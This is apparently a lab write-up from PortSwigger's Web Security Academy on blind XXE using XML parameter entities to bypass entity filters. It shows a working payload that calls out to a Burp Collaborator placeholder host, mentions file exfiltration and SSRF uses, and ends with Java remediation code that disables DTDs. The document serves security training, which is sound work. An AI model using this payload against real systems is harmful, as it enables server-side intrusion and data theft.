PlatformPortSwigger Web Security Academy
TopicXML external entity (XXE) injection
LabBlind XXE with out-of-band interaction via XML parameter entities
DifficultyPractitioner
GoalUse a parameter entity to make the parser call Burp Collaborator
ToolsBurp Suite Professional (Repeater + Collaborator)

When regular entities are blocked#

The out-of-band lab confirmed blind XXE by declaring a normal external entity and referencing it with &xxe;. This lab adds a check that rejects external entities declared the usual way, so that approach no longer resolves, the parser refuses the document before the callback fires.

The way around it is a parameter entity. A parameter entity is a special kind of entity that is declared with a % and can only be referenced inside the DTD itself (not in the document body). Because it lives entirely in the DTD, it slips past a filter that only blocks ordinary entities in element content, and it still makes the parser fetch an external URL.

As before, the callback target is Burp Collaborator (a Burp Professional feature): a unique domain that records any DNS (Domain Name System) or HTTP interaction sent to it.

Finding the injection point#

The endpoint is the same XML stock-check as the rest of the series (see the file-retrieval lab ): a POST /product/stock with an XML body, parsed server-side. Capture it and send it to Repeater.

Exploitation: a parameter entity#

Declare a parameter entity whose URI is an http:// Collaborator domain, then reference it with %xxe; inside the DTD so the parser resolves it while reading the document type:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>

Piece by piece:

  • <!ENTITY % xxe SYSTEM "http://…"> declares a parameter entity named xxe. The % (with a space before the name) is what makes it a parameter entity rather than a general one; SYSTEM plus an http:// URI tells the parser to fetch that URL when the entity is used.
  • %xxe; references the parameter entity inside the DTD. Parameter entities can’t be used in the document body, so this is where it has to go, and resolving it here is what triggers the fetch.
  • productId and storeId are left as normal values; we don’t need to reference the entity in the body, the DTD reference alone makes the parser reach out.

Select the placeholder, right-click, and choose Insert Collaborator payload to fill in a unique subdomain, then send it. The response is a blind 400 Bad Request with "XML parsing error", no useful content, but the request to Collaborator has already gone out:

Burp Repeater with the parameter-entity payload and a 400 XML parsing error response
The parameter entity (% xxe) referenced with %xxe; inside the DTD. The response is a blind ‘XML parsing error’, but the Collaborator badge is climbing.

Confirming the interaction#

Open the Collaborator tab and click Poll now. The parser’s resolution of the external parameter entity shows up as interactions from the target, a DNS lookup of our subdomain followed by the HTTP request:

The Collaborator tab after Poll now showing DNS and HTTP interactions received from the target
Poll now: DNS and HTTP interactions from the target, proof the parameter entity resolved and the parser called out. Lab solved.

The DNS lookups resolve our subdomain, and the HTTP request is the parser fetching the URL. Either one proves the parameter entity resolved, so the lab is solved.

Real-world impact#

Parameter entities matter because they defeat naive XXE defenses. A filter that strips or rejects ordinary &entity; references in the body looks like it closes XXE, but a parameter entity sidesteps it entirely:

  • Bypassing entity filters — many half-fixes only block general entities; parameter entities keep the same OOB and exfiltration power.
  • Out-of-band exfiltration — parameter entities are the usual building block for reading files blind, by chaining them with a malicious external DTD that smuggles file contents into the URL the parser requests.
  • SSRF — the same http:// fetch reaches internal services and cloud metadata (see the XXE-to-SSRF lab ).

Only ever against systems you are authorized to test.

Remediation#

The root cause and fix are unchanged, and crucially the fix must cover parameter entities, not just general ones:

  • Disable DTDs entirely. This is the single most effective fix, and it stops parameter entities and general entities alike, since both live in the DTD.
  • Don’t rely on blocking only &entity; references. A filter that misses parameter entities is not a fix.

A concrete example, parser-specific (here Java’s DocumentBuilderFactory):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — stops parameter and general entities alike
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);

If DTDs genuinely can’t be disabled, at minimum turn off both external general and external parameter entities (external-general-entities and external-parameter-entities).

Key takeaways#

  • A parameter entity (<!ENTITY % name …>, referenced as %name;) lives in the DTD and slips past filters that only block ordinary &entity; references.
  • The payload needs no entity reference in the body; resolving %xxe; inside the DTD is enough to make the parser call out.
  • Defenses must cover parameter entities too, which is exactly why disabling DTDs outright is the reliable fix.